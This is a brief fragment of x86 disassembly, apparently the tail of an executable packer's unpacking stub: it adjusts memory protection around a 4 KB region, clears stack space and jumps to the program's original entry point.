mov dword [ebx], eax
add ebx, 4
jmp 0x40aa5e
call dword [esi + 0xcb9c]
mov ebp, dword [esi + 0xcba4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40aab7
sub esp, 0xffffff80
jmp 0x401c30